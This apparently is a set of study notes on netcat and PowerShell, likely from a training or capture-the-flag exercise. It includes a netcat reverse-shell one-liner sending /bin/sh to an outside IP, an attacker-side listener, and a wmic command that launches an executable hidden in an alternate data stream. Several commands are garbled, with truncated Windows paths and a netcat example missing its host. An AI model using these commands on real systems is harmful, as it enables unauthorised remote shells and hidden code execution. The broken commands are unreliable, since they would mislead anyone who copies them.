resolvconf
NetBIOS
netcat “It allows users to connect to specific ports and send and receive data. It also allows machines to receive data and connections on specific ports, which makes nc a very popular tool to gain a Reverse Shell.”
Switches “nc netcat -l listen for an incoming connection rather than initiate a connection to a remote host. -v To see who connected to you -n Do not do any DNS or service lookups on any specified addresses, hostnames or ports. -p Specifies the source port nc should use, subject to privilege restrictions and availability. -u To connect to UDP port -e To specify which program to execute after you connect to a host”
To connect back to our attacking machine (Victim Machine) “nc 161.35.162.57 4444 -e /bin/sh”
To listen for connection ( Attacker machine) “nc -lvnp 4444 or nc -l -v -n -p 4444”
netcatnetcat
“echo hello | nc
1234 to send the string hello to the service running on port 1234”
PowerShell
To change directories “Set-Location -Path c:”
To list the contents of the current directory "Get-ChildItem -File -ErrorAction SilentlyContinue Looking for a hidden directory with the recursion filter Get-ChildItem -Directory -Hidden -Recurse -Filter ‘3’ -ErrorAction SilentlyContinue "
There are various other options we can use with this cmdlet to enhance its capabilities further.
To read the contents of a file “Get-Content -Path file.txt”
To search a particular file for a pattern we define "Select-String -Path ‘c:’ -Pattern ’*.pdf’"
To obtain more information about a specific cmdlet “Get-Help Select-String”
To obtain the hash of a file “Get-FileHash -Algorithm MD5 file.txt”
To locate the different streams "Get-Item -Path c:.exe -Stream * "
Strings tool to scan the mysterious executable “c:64.exe -accepteula file.exe Strings scans the file you pass it for strings of a default length of 3 or more characters. You can use the Strings tool to peek inside this mysterious executable file.”
To launch the hidden executable hiding within ADS “wmic process call create $(Resolve-Path file.exe:streamname)”